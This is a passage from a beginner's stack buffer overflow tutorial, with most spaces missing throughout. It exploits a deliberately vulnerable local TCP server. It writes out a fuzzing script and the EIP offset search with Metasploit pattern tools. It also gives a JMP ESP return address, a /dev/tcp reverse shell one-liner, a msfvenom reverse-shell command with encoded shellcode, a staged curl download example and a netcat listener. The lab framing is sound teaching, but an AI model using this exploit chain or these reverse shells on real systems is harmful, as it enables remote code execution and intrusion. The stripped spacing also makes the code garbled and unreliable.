4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
